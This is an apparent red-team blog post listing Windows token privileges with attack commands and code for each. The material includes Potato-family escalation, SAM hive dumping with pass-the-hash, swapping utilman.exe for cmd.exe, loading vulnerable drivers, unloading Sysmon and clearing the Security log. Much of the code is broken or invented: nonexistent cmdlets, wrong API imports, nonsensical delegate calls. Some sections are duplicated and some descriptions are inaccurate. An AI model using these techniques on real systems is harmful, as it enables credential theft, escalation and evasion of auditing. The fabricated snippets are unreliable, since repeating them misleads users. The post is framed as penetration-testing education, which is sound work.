Windows Privileges for Fun and Profit

redteamrecipe.com/windows-privileges-for-fun-and-profit

Reza Rashidi

Table of contents

Windows privileges, the permissions assigned to users and processes, are essential for maintaining system security and functionality. They determine what actions an account can perform, such as accessing files, running programs, or modifying system settings. Users with higher privileges, like administrators, have broader capabilities, which, if misused, can lead to significant security vulnerabilities. For example, an attacker who gains administrative privileges can install malicious software, access sensitive data, and even render a system inoperable. Understanding and managing these privileges is crucial for both preventing unauthorized access and ensuring that legitimate users can perform their necessary tasks.

From a security research perspective, exploring Windows privileges can reveal potential weaknesses and exploits that can be leveraged for profit. Ethical hackers, or penetration testers, often study privilege escalation techniques to identify vulnerabilities that need patching. Malicious hackers, however, might use these techniques to gain unauthorized access to systems, thereby accessing confidential information or disrupting services. Privilege escalation can be achieved through various methods, such as exploiting

software vulnerabilities, misconfigurations, or weaknesses in the operating system itself. For security enthusiasts and professionals, mastering the intricacies of Windows privileges is both a challenging and rewarding endeavor, offering insights into system design and opportunities to improve overall security.

Privilege	Description	Attack Techniques Rate
SeAssignPrimaryToken	Allows a process to replace the primary token of a process.	8
SeAudit	Allows a process to generate audit-log entries.	4
SeBackup	Allows a process to back up files and directories.	6
SeChangeNotify	Allows a process to receive notifications of file or directory changes.	3
SeCreateGlobal	Allows a process to create global objects in the namespace.	5
SeCreatePagefile	Allows a process to create and modify paging files.	7
SeCreatePermanent	Allows a process to create permanent objects.	6
SeCreateSymbolicLink	Allows a process to create symbolic links.	5
SeCreateToken	Allows a process to create an access token.	9
SeDebug	Allows a process to debug and adjust the memory of a process owned by another account.	9
SeDelegateSessionUserImpersonate	Allows a process to impersonate another user.	8
SeEnableDelegation	Allows a user to enable computer and user accounts to be trusted for delegation.	7
SeImpersonate	Allows a process to impersonate a client after authentication.	8
SeIncreaseBasePriority	Allows a process to increase the base priority of a process.	4

Privilege	Description	Attack Techniques Rate
SeIncreaseQuota	Allows a process to increase the quota assigned to a process.	7
SeIncreaseWorkingSet	Allows a process to increase the working set of a process.	6
SeLoadDriver	Allows a process to load and unload device drivers.	9
SeLockMemory	Allows a process to lock physical pages in memory.	5
SeMachineAccount	Allows a user to add a computer to a domain.	6
SeManageVolume	Allows a process to perform volume maintenance tasks.	8
SeProfileSingleProcess	Allows a process to profile a single process.	5
SeRelabel	Allows a process to modify the mandatory integrity level of an object.	7
SeRemoteShutdown	Allows a process to shut down a system from a remote location.	8
SeReserveProcessor	Allows a process to reserve processor resources.	4
SeRestore	Allows a process to restore files and directories.	6
SeSecurity	Allows a process to manage auditing and security log entries.	8
SeShutdown	Allows a process to shut down a local system.	7
SeSyncAgent	Allows a process to synchronize files with a remote server.	4
SeSystemEnvironment	Allows a process to modify system environment variables.	7
SeSystemProfile	Allows a process to collect profiling information for the entire system.	6
SeSystemtime	Allows a process to change the system time.	5

Privilege	Description	Attack Techniques Rate
SeTakeOwnership	Allows a process to take ownership of an object.	9
SeTcb	Allows a process to act as part of the operating system.	10
SeTimeZone	Allows a process to change the time zone.	3
SeTrustedCredManAccess	Allows a process to access Credential Manager as a trusted caller.	6
SeUndock	Allows a process to remove the computer from a docking station.	3
SeUnsolicitedInput	Allows a process to read unsolicited input from a terminal device.	4

SeAssignPrimaryToken

This privilege allows a process to replace the primary token of a process. This can be leveraged by attackers to impersonate tokens and escalate privileges to NT AUTHORITY\SYSTEM, the highest level of privilege on a Windows system.

Exploitation Using Third-Party Tools

Attackers often use various tools to exploit this privilege and gain elevated permissions. Some of the popular tools include **Potato.exe**, **RottenPotato.exe**, and **JuicyPotato.exe**.

Potato.exe: A tool that exploits the SeAssignPrimaryToken privilege to escalate privileges to SYSTEM.

Example Command:

```
Potato.exe -ip 127.0.0.1 -cmd "cmd.exe"
```

RottenPotato.exe: Another variant of the Potato exploit, focusing on local privilege escalation.

Example Command:

```
RottenPotato.exe -r -c "cmd.exe"
```

JuicyPotato.exe: An updated version that works in more scenarios and is more reliable.

Example Command:

```
JuicyPotato.exe -l 1337 -p "C:\Windows\System32\cmd.exe" -t * -c {F3E36251-6A1B-49B1-97D9-43B68D7E927E}
```

SeAudit

Write events to the Security event log to fool auditing or to overwrite old events. Writing custom events is possible using the Authz Report Security Event API.

- Use the Authz Report Security Event API to create your own security events.
- Proof of Concept (PoC) by @daem0nc0re.

```
// Example C++ snippet using Authz API
#include <windows.h>
#include <authz.h>

// Function to write a security event
void WriteSecurityEvent() {
    AUTHZ_CLIENT_CONTEXT_HANDLE hAuthzClientContext;
    AUTHZ_RESOURCE_MANAGER_HANDLE hAuthzResourceManager;

    // Initialize the resource manager
    AuthzInitializeResourceManager(
        AUTHZ_RM_FLAG_NO_AUDIT,
        NULL,
        NULL,
        NULL,
        L"Resource Manager",
        &hAuthzResourceManager
    );

    // Create a client context
    AuthzInitializeContextFromSid(
        0,
        NULL,
        hAuthzResourceManager,
        NULL,
        LUID{},
        NULL,
        &hAuthzClientContext
    );

    // Add custom event here...
    // AuthzReportSecurityEvent(...)

    // Clean up
    AuthzFreeContext(hAuthzClientContext);
    AuthzFreeResourceManager(hAuthzResourceManager);
}
```

SeBackup

1. Backup the `HKLM\SAM` and `HKLM\SYSTEM` registry hives.
2. Extract local account hashes from the SAM database.

3. Use Pass-the-Hash (PtH) to access systems as a member of the local Administrators group.

Alternatively, this privilege can be used to read sensitive files.

- For more details, refer to the `SeBackupPrivilege` documentation.
- Proof of Concept (PoC) by @daem0nc0re.

```
# Backup the SAM and SYSTEM hives
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM

# Use secretsdump.py from Impacket to extract hashes
secretsdump.py -sam SAM -system SYSTEM LOCAL

# Pass-the-Hash using Mimikatz
mimikatz # sekurlsa::pth /user:Administrator /ntlm:<hash> /domain:<domain>
/run:powershell.exe
```

SeCreatePagefile

Use built-in commands to create `hiberfil.sys`, read it offline, and look for sensitive data. This generally requires administrative rights.

Proof of Concept (PoC) by @daem0nc0re.

```
# Enable hibernation and create hiberfil.sys
powercfg /hibernate on

# After reboot, access the hiberfil.sys file offline
# Use tools like Volatility to analyze hiberfil.sys for sensitive information
volatility -f hiberfil.sys imageinfo
volatility -f hiberfil.sys hivelist
volatility -f hiberfil.sys hashdump
```

SeChangeNotify

The `SeChangeNotify` privilege allows a user to receive notifications of changes to files or directories. This privilege is generally held by all users and is essential for the operating system's normal operation, such as allowing applications to be aware of changes in the file system.

While `SeChangeNotify` itself is not typically associated with direct privilege escalation, it can be used in combination with other vulnerabilities or misconfigurations to facilitate attacks. Revoking this privilege can render the operating system unbootable, so it's not recommended to remove it.

SeCreatePagefile

The `SeCreatePagefile` privilege allows a user to create and modify the paging file. This privilege can be exploited to gain access to sensitive information by creating or modifying the hibernation file (`hiberfil.sys`), which can then be analyzed offline.

1. **Create hiberfil.sys File**: Enable hibernation to create the hibernation file.
2. **Read hiberfil.sys Offline**: Access the file offline to extract sensitive data.

Scenario

Enable Hibernation and Create hiberfil.sys:

```
# Enable hibernation
powercfg /hibernate on

# Optional: Set hibernation file size (if needed)
powercfg /hibernate /size 100
```

Access hiberfil.sys Offline:

- After a reboot, the `hiberfil.sys` file will be created in the root of the system drive (usually `C:\`).
- Use forensic tools like Volatility to analyze the `hiberfil.sys` file for sensitive information.

```
# Identify the profile and image type
volatility -f C:\hiberfil.sys imageinfo

# List registry hives
volatility -f C:\hiberfil.sys hivelist

# Dump hashes from the registry
volatility -f C:\hiberfil.sys hashdump
```

Example Python Script for Volatility:

```
from volatility3.framework import contexts, plugins
from volatility3.cli import VolatilityCLI

def analyze_hiberfil(file_path):
    ctx = contexts.Context()
    cli = VolatilityCLI(ctx)

    # Load the hiberfil.sys file
    cli.run(['-f', file_path, 'imageinfo'])

    # List registry hives
    cli.run(['-f', file_path, 'hivelist'])

    # Dump hashes from the registry
    cli.run(['-f', file_path, 'hashdump'])

if __name__ == "__main__":
    analyze_hiberfil("C:\\hiberfil.sys")
```

SeSystemtime

The `SeSystemtime` privilege allows users to change the system time, which can compromise the integrity of audit logs and events, as these will be recorded with incorrect dates and times.

Using built-in commands to change the system date and time.

```
# Change the system date to January 1, 2001
cmd.exe /c date 01-01-01

# Change the system time to 00:00
cmd.exe /c time 00:00
```

SeTakeOwnership

The `SeTakeOwnership` privilege allows users to take ownership of system objects, enabling full control over them. This can be exploited to gain access to restricted files and directories.

1. Take ownership of the `System32` directory.
2. Grant full permissions to the current user.
3. Replace `cmd.exe` with `utilman.exe`.
4. Use the new `utilman.exe` to gain a system-level command prompt.

```
# Take ownership of the System32 directory
takeown.exe /f "%windir%\system32"

# Grant full control permissions to the current user
icacls.exe "%windir%\system32" /grant "%username%":F

# Rename cmd.exe to utilman.exe
ren "%windir%\system32\cmd.exe" utilman.exe

# Lock the console and press Win+U to open the renamed utilman.exe (now cmd.exe)
with system privileges
```

SeTcb

The `SeTcb` (Act as Part of the Operating System) privilege allows manipulation of tokens to include local admin rights.

Use third-party tools to create arbitrary tokens with elevated privileges.

> Sample code and executable for creating arbitrary tokens can be found at PsBits.

Example C++ Snippet:

```
// Example C++ snippet to manipulate tokens
#include <windows.h>
#include <iostream>

void EnablePrivilege(HANDLE hToken, LPCWSTR privilege) {
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!LookupPrivilegeValue(NULL, privilege, &luid)) {
        std::cerr << "LookupPrivilegeValue error: " << GetLastError() <<
std::endl;
        return;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL,
NULL)) {
        std::cerr << "AdjustTokenPrivileges error: " << GetLastError() <<
std::endl;
    }
}

int main() {
    HANDLE hToken;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
    EnablePrivilege(hToken, SE_TCB_NAME);
    // Further code to manipulate tokens
    CloseHandle(hToken);
    return 0;
}
```

SeTrustedCredManAccess

The `SeTrustedCredManAccess` privilege allows access to the Credential Manager, enabling attackers to dump stored credentials.

Use third-party tools to dump credentials from the Credential Manager.

> PoC by @daem0nc0re

Example C++ Snippet:

```
// Example C++ snippet to access Credential Manager
#include <windows.h>
#include <wincred.h>
#include <iostream>

void DumpCredentials() {
    DWORD count;
    PCREDENTIAL *pCredentials = NULL;

    if (CredEnumerate(NULL, 0, &count, &pCredentials)) {
        for (DWORD i = 0; i < count; i++) {
            wprintf(L"Target: %s\n", pCredentials[i]->TargetName);
            // Further processing of credentials
        }
        CredFree(pCredentials);
    } else {
        std::cerr << "CredEnumerate failed: " << GetLastError() << std::endl;
    }
}

int main() {
    DumpCredentials();
    return 0;
}
```

SeCreateToken

The `SeCreateToken` privilege allows users to create an arbitrary token, including local admin rights, using the `NtCreateToken` function.

Use third-party tools to create arbitrary tokens with elevated privileges.

> Proof of Concept (PoC) by @daem0nc0re.

Example C++ Snippet:

```
// Example C++ snippet to create arbitrary tokens
#include <windows.h>
#include <iostream>

void CreateAdminToken() {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    // Lookup the privilege value
    if (!LookupPrivilegeValue(NULL, SE_CREATE_TOKEN_NAME, &luid)) {
        std::cerr << "LookupPrivilegeValue error: " << GetLastError() <<
std::endl;
        return;
    }

    // Enable the privilege
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL,
NULL)) {
        std::cerr << "AdjustTokenPrivileges error: " << GetLastError() <<
std::endl;
    }

    // Further code to create and manipulate tokens
}
```

SeDebug

The `SeDebug` privilege allows users to debug and manipulate system processes. This can be exploited to duplicate the `lsass.exe` token, gaining SYSTEM-level privileges.

1. **Use PowerShell to duplicate the `lsass.exe` token.**

```
# PowerShell script to duplicate the lsass.exe token
$ProcessId = (Get-Process lsass).Id
$ProcessHandle = [System.Diagnostics.Process]::GetProcessById($ProcessId).Handle
$TokenHandle = New-Object System.IntPtr

# Duplicate the token
$OpenProcessToken =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([System.In
tPtr]::Zero, [System.Type]::GetType('System.Delegate'))
$DuplicateTokenEx =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([System.In
tPtr]::Zero, [System.Type]::GetType('System.Delegate'))

$OpenProcessToken.Invoke($ProcessHandle, 2, [ref]$TokenHandle)
$DuplicateTokenEx.Invoke($TokenHandle, 2, $Null, 2, 1, [ref]$TokenHandle)
```

SeImpersonate

The `SeImpersonate` privilege allows users to impersonate the security context of another user, potentially leading to privilege escalation.

Use tools from the Potato family (`potato.exe`, `RottenPotato`, `RottenPotatoNG`, `Juicy Potato`, `SweetPotato`, `RemotePotato0`), `RogueWinRM`, `PrintSpoofer`, etc., to create a process under another user's security context.

Example Tools

- `potato.exe`
- `RottenPotato`
- `RottenPotatoNG`
- `Juicy Potato`
- `SweetPotato`
- `RemotePotato0`
- `RogueWinRM`
- `PrintSpoofer`

Example Command for JuicyPotato:

```
JuicyPotato.exe -l 1337 -p "C:\Windows\System32\cmd.exe" -t * -c {F3E36251-6A1B-49B1-97D9-43B68D7E927E}
```

SeIncreaseBasePriority

The `SeIncreaseBasePriority` privilege allows users to increase the base priority of a process, which can be useful for performance tuning, especially on servers.

1. **Start a CPU-intensive application with increased priority**.

```
# Start a CPU-intensive application with real-time priority
start /realtime SomeCpuIntensiveApp.exe
```

SeIncreaseQuota

The `SeIncreaseQuota` privilege allows users to change CPU, memory, and cache limits. Misuse can lead to making the OS unbootable by setting extreme quotas.

1. **Use third-party tools to set extreme quotas**.

Example Command:

```
# Change memory limit to extreme values
Set-ProcessMitigation -Name "SomeProcess" -MemoryQuota 102400
```

SeLoadDriver

The `SeLoadDriver` privilege allows users to load and unload device drivers. This can be exploited by loading a buggy or vulnerable kernel driver to escalate privileges.

1. **Load a buggy kernel driver** such as `szkg64.sys`.
2. **Exploit the driver vulnerability**.

```
# Load the szkg64.sys driver
sc create VulnerableDriver type= kernel start= demand binPath=
"C:\Path\To\szkg64.sys"

# Start the vulnerable driver
sc start VulnerableDriver
```

Alternative Method

1. **Unload security-related drivers** with the `fltMC` built-in command.

```
# Unload the sysmondrv driver
fltMC unload sysmondrv
```

SeRelabel

The `SeRelabel` privilege allows users to modify the integrity labels of system files, providing additional protection on top of ACLs. This can be exploited to modify system files by a legitimate administrator.

1. **Modify system files using WRITE_OWNER access**.

Scenarios

- **Integrity labels provide protection against attacks using exploitable applications**.
- Proof of Concept (PoC) by @tiraniddo.

Example Command:

```
# Change the integrity label of a file
icacls.exe "C:\Path\To\SystemFile" /setintegritylevel High
```

`SE_CHANGE_NOTIFY_NAME` (SeChangeNotifyPrivilege)

- **Description**: Required to receive notifications of changes to files or directories. This privilege also allows the system to skip all traversal access checks.
- **User Right**: Bypass traverse checking.
- **Default**: Enabled by default for all users.

Misuse Scenario

Impact: Bypass directory traversal checks to access restricted directories and files.

```
# Using PowerShell to list directories without traversal checks
Get-ChildItem -Path "C:\restricted\path" -Recurse -Force
```

`SE_CREATE_GLOBAL_NAME` (SeCreateGlobalPrivilege)

- **Description**: Required to create named file mapping objects in the global namespace during Terminal Services sessions.
- **User Right**: Create global objects.
- **Default**: Enabled by default for administrators, services, and the local system account.

Misuse Scenario

Impact: Create global objects that can be accessed across Terminal Services sessions, potentially leading to unauthorized data access or manipulation.

```
// C# Example to create a global named object
using System;
using System.IO.MemoryMappedFiles;

class Program
{
    static void Main()
    {
        var mmf = MemoryMappedFile.CreateOrOpen("Global\\MyGlobalMemory", 1024);
        // Use the memory-mapped file
    }
}
```

`SE_CREATE_PERMANENT_NAME` (SeCreatePermanentPrivilege)

- **Description**: Required to create a permanent object.
- **User Right**: Create permanent shared objects.

Misuse Scenario

Impact: Create permanent objects that persist across reboots, potentially leading to unauthorized persistent access.

```
// C# Example to create a permanent shared object
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool CreatePermanentObject(string name, IntPtr handle);

    static void Main()
    {
        IntPtr handle = IntPtr.Zero;
        CreatePermanentObject("MyPermanentObject", handle);
    }
}
```

`SE_CREATE_SYMBOLIC_LINK_NAME` (SeCreateSymbolicLinkPrivilege)

- **Description**: Required to create a symbolic link.
- **User Right**: Create symbolic links.

Misuse Scenario

Impact: Create symbolic links to redirect file operations to unauthorized locations.

```
# Create a symbolic link in PowerShell
New-Item -ItemType SymbolicLink -Path "C:\link" -Target "C:\target"
```

`SE_CREATE_TOKEN_NAME` (SeCreateTokenPrivilege)

- **Description**: Required to create a primary token.
- **User Right**: Create a token object.

Misuse Scenario

Impact: Create arbitrary tokens with elevated privileges.

```
// C# Example to create an arbitrary token
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool NtCreateToken(IntPtr tokenHandle, uint desiredAccess,
IntPtr objectAttributes, uint tokenType, IntPtr authenticationId, IntPtr
expirationTime, IntPtr user, IntPtr groups, IntPtr privileges, IntPtr owner,
IntPtr primaryGroup, IntPtr defaultDacl, IntPtr source);

    static void Main()
    {
        IntPtr tokenHandle = IntPtr.Zero;
        NtCreateToken(tokenHandle, 0xF01FF, IntPtr.Zero, 1, IntPtr.Zero,
IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
IntPtr.Zero, IntPtr.Zero);
    }
}
```

`SE_DEBUG_NAME` (SeDebugPrivilege)

- **Description**: Debug and adjust the memory of any process, ignoring the DACL for the process.
- **User Right**: Debug programs.

Misuse Scenario

Impact: Attach a debugger to sensitive processes like `lsass.exe` to extract credentials.

```
# PowerShell script to duplicate the lsass.exe token
$ProcessId = (Get-Process lsass).Id
$ProcessHandle = [System.Diagnostics.Process]::GetProcessById($ProcessId).Handle
$TokenHandle = New-Object System.IntPtr

# Duplicate the token
$OpenProcessToken =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([System.In
tPtr]::Zero, [System.Type]::GetType('System.Delegate'))
$DuplicateTokenEx =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([System.In
tPtr]::Zero, [System.Type]::GetType('System.Delegate'))

$OpenProcessToken.Invoke($ProcessHandle, 2, [ref]$TokenHandle)
$DuplicateTokenEx.Invoke($TokenHandle, 2, $Null, 2, 1, [ref]$TokenHandle)
```

`SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME` (SeDelegateSessionUserImpersonatePrivilege)

- **Description**: Required to obtain an impersonation token for another user in the same session.
- **User Right**: Impersonate other users.

Misuse Scenario

Impact: Obtain an impersonation token to perform actions as another user in the same session.

```
# PowerShell to impersonate another user in the same session
$User = "Domain\User"
$Password = ConvertTo-SecureString "Password" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($User,
$Password)
Start-Process -Credential $Credential -NoNewWindow -FilePath "cmd.exe"
```

`SE_ENABLE_DELEGATION_NAME` (SeEnableDelegationPrivilege)

- **Description**: Required to mark user and computer accounts as trusted for delegation.
- **User Right**: Enable computer and user accounts to be trusted for delegation.

Misuse Scenario

Impact: Mark accounts as trusted for delegation, which can be used to impersonate users in delegation scenarios.

```
# PowerShell to enable delegation for a user
Set-ADUser -Identity "User" -TrustedForDelegation $true
```

`SE_IMPERSONATE_NAME` (SeImpersonatePrivilege)

- **Description**: Required to impersonate.
- **User Right**: Impersonate a client after authentication.

Misuse Scenario

Impact: Use tools to impersonate other users and perform actions under their security context.

Example Tools

- `potato.exe`
- `RottenPotato`
- `RottenPotatoNG`
- `Juicy Potato`
- `SweetPotato`
- `RemotePotato0`
- `RogueWinRM`
- `PrintSpoofer`

Example Command for JuicyPotato:

```
JuicyPotato.exe -l 1337 -p "C:\Windows\System32\cmd.exe" -t * -c {F3E36251-6A1B-49B1-97D9-43B68D7E927E}
```

`SE_INC_BASE_PRIORITY_NAME` (SeIncreaseBasePriorityPrivilege)

- **Description**: Required to increase the base priority of a process.
- **User Right**: Increase scheduling priority.

Misuse Scenario

Impact: Start a CPU-intensive application with increased priority to affect system performance.

```
# Start a CPU-intensive application with real-time priority
start /realtime SomeCpuIntensiveApp.exe
```

`SE_INCREASE_QUOTA_NAME` (SeIncreaseQuotaPrivilege)

- **Description**: Required to increase the quota assigned to a process.
- **User Right**: Adjust memory quotas for a process.

Misuse Scenario

Impact: Set extreme quotas to potentially make the OS unbootable.

```
# Change memory limit to extreme values
Set-ProcessMitigation -Name "SomeProcess" -MemoryQuota 102400
```

`SE_INC_WORKING_SET_NAME` (SeIncreaseWorkingSetPrivilege)

- **Description**: Required to allocate more memory for applications that run in the context of users.
- **User Right**: Increase a process working set.

Misuse Scenario

Impact: Allocate excessive memory to applications, affecting system stability.

```
# PowerShell command to increase working set size
$Process = Get-Process -Name "SomeProcess"
$Process.MaxWorkingSet = 104857600  # 100 MB
```

`SE_LOAD_DRIVER_NAME` (SeLoadDriverPrivilege)

- **Description**: Required to load or unload a device driver.
- **User Right**: Load and unload device drivers.

Misuse Scenario

Impact: Load a buggy or vulnerable driver to escalate privileges.

```
# Load a vulnerable driver
sc create VulnerableDriver type= kernel start= demand binPath=
"C:\Path\To\szkg64.sys"
sc start VulnerableDriver

# Unload security-related drivers
fltMC unload sysmondrv
```

SE_LOCK_MEMORY_NAME (SeLockMemoryPrivilege)

- **Description**: Required to lock physical pages in memory.
- **User Right**: Lock pages in memory.

Misuse Scenario

Impact: Lock a large amount of memory, potentially affecting system performance.

```
# PowerShell command to lock pages in memory
Lock-ProcessMemory -ProcessName "SomeProcess"
```

SE_MACHINE_ACCOUNT_NAME (SeMachineAccountPrivilege)

- **Description**: Required to create a computer account.
- **User Right**: Add workstations to domain.

Misuse Scenario

Impact: Add rogue machines to the domain to facilitate further attacks.

```
# PowerShell command to create a computer account
New-ADComputer -Name "RogueMachine" -Path "OU=Computers,DC=domain,DC=com"
```

SE_MANAGE_VOLUME_NAME (SeManageVolumePrivilege)

- **Description**: Required to enable volume management privileges.
- **User Right**: Perform volume maintenance tasks.

Misuse Scenario

Impact: Perform unauthorized volume maintenance tasks, potentially disrupting data storage.

```
# PowerShell command to manage volume
Format-Volume -DriveLetter D -FileSystem NTFS -NewFileSystemLabel "NewVolume"
```

SE_PROF_SINGLE_PROCESS_NAME (SeProfileSingleProcessPrivilege)

- **Description**: Required to gather profiling information for a single process.
- **User Right**: Profile single process.

Misuse Scenario

Impact: Gather profiling information to analyze and potentially exploit a single process.

```
# PowerShell command to profile a single process
Measure-Command { Get-Process -Name "SomeProcess" }
```

SE_RELABEL_NAME (SeRelabelPrivilege)

- **Description**: Required to modify the mandatory integrity level of an object.
- **User Right**: Modify an object label.

Misuse Scenario

Impact: Modify system files' integrity levels to perform unauthorized modifications.

```
# PowerShell command to change the integrity label of a file
icacls.exe "C:\Path\To\SystemFile" /setintegritylevel High
```

SE_REMOTE_SHUTDOWN_NAME (SeRemoteShutdownPrivilege)

- **Description**: Required to shut down a system using a network request.
- **User Right**: Force shutdown from a remote system.

Misuse Scenario

Impact: Shut down systems remotely, causing disruption.

```
# Command to remotely shut down a system
shutdown /m \\RemotePC /s /t 0
```

SE_RESTORE_NAME (SeRestorePrivilege)

- **Description**: Required to perform restore operations. This privilege allows write access to any file, regardless of the ACL specified for the file.
- **User Right**: Restore files and directories.

Misuse Scenario

Impact: Write to any file, potentially modifying sensitive or system files.

```
# PowerShell command to restore files
Restore-Item -Path "C:\Path\To\File" -Destination "C:\Path\To\Restore"
```

SE_SECURITY_NAME (SeSecurityPrivilege)

- **Description**: Required to perform security-related functions, such as controlling and viewing audit messages.
- **User Right**: Manage auditing and security log.

Misuse Scenario

Impact: Control and view security audit logs to hide malicious activities.

```
# PowerShell command to manage security audit logs
Clear-EventLog -LogName Security
```

`SE_SHUTDOWN_NAME` (SeShutdownPrivilege)

- **Description**: Required to shut down a local system.
- **User Right**: Shut down the system.

Misuse Scenario

Impact: Shut down the system, causing disruption.

```
# Command to shut down the system
shutdown /s /t 0
```

`SE_SYNC_AGENT_NAME` (SeSyncAgentPrivilege)

- **Description**: Required for a domain controller to use the Lightweight Directory Access Protocol directory synchronization services.
- **User Right**: Synchronize directory service data.

Misuse Scenario

Impact: Read all objects and properties in the directory, regardless of protection, to access sensitive information.

```
# PowerShell command to synchronize directory service data
Sync-ADObject -Identity "CN=User,OU=Users,DC=domain,DC=com"
```

`SE_SYSTEM_ENVIRONMENT_NAME` (SeSystemEnvironmentPrivilege)

- **Description**: Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information.
- **User Right**: Modify firmware environment values.

Misuse Scenario

Impact: Modify firmware environment values, potentially disrupting system configuration.

```
# PowerShell command to modify system environment values
Set-ItemProperty -Path "HKLM:\HARDWARE\DESCRIPTION\System" -Name
"FirmwareEnvironmentVariable" -Value "NewValue"
```

`SE_SYSTEM_PROFILE_NAME` (SeSystemProfilePrivilege)

- **Description**: Required to gather profiling information for the entire system.
- **User Right**: Profile system performance.

Misuse Scenario

Impact: Gather system-wide profiling information to analyze system performance and identify vulnerabilities.

```
# PowerShell command to profile system performance
Measure-Command { Get-Process }
```

SE_SYSTEMTIME_NAME (SeSystemtimePrivilege)

- **Description**: Required to modify the system time.
- **User Right**: Change the system time.

Misuse Scenario

Impact: Change the system time, potentially disrupting scheduled tasks and security mechanisms.

```
# PowerShell command to change the system time
Set-Date -Date "08/01/2024 12:00:00"
```

SE_TAKE_OWNERSHIP_NAME (SeTakeOwnershipPrivilege)

- **Description**: Required to take ownership of an object without being granted discretionary access.
- **User Right**: Take ownership of files or other objects.

Misuse Scenario

Impact: Take ownership of sensitive files and modify them.

```
# PowerShell command to take ownership of a file
takeown /f "C:\Path\To\File"
```

SE_TCB_NAME (SeTcbPrivilege)

- **Description**: Identifies its holder as part of the trusted computer base.
- **User Right**: Act as part of the operating system.

Misuse Scenario

Impact: Act as part of the OS to perform privileged operations.

```
// C# Example to act as part of the OS
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool
DisableAllPrivileges, IntPtr NewState, uint BufferLength, IntPtr PreviousState,
IntPtr ReturnLength);

    static void Main()
    {
        IntPtr tokenHandle = IntPtr.Zero;
        AdjustTokenPrivileges(tokenHandle, false, IntPtr.Zero, 0, IntPtr.Zero,
IntPtr.Zero);
    }
}
```

`SE_TIME_ZONE_NAME` (SeTimeZonePrivilege)

- **Description**: Required to adjust the time zone.
- **User Right**: Change the time zone.

Misuse Scenario

Impact: Change the system time zone, potentially affecting time-based security mechanisms.

```
# PowerShell command to change the time zone
Set-TimeZone -Id "Pacific Standard Time"
```

`SE_TRUSTED_CREDMAN_ACCESS_NAME` (SeTrustedCredManAccessPrivilege)

- **Description**: Required to access Credential Manager as a trusted caller.
- **User Right**: Access Credential Manager as a trusted caller.

Misuse Scenario

Impact: Access stored credentials in Credential Manager to obtain sensitive information.

```
# PowerShell command to access Credential Manager
Get-StoredCredential -Target "SomeCredential"
```

`SE_UNDOCK_NAME` (SeUndockPrivilege)

- **Description**: Required to undock a laptop.
- **User Right**: Remove computer from docking station.

Misuse Scenario

Impact: Undock laptops remotely, causing physical disruption.

```
# PowerShell command to undock a laptop
Undock-Computer
```

`SE_UNSOLICITED_INPUT_NAME` (SeUnsolicitedInputPrivilege)

- **Description**: Required to read unsolicited input from a terminal device.
- **User Right**: Not applicable.

Misuse Scenario

Impact: Read unsolicited input, potentially capturing sensitive information.

```
# PowerShell command to read unsolicited input
Read-Host "Enter input"
```

Resources

- https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

- https://github.com/daem0nc0re/PrivFu?tab=readme-ov-file#tokenassignor
- https://github.com/gtworek/Priv2Admin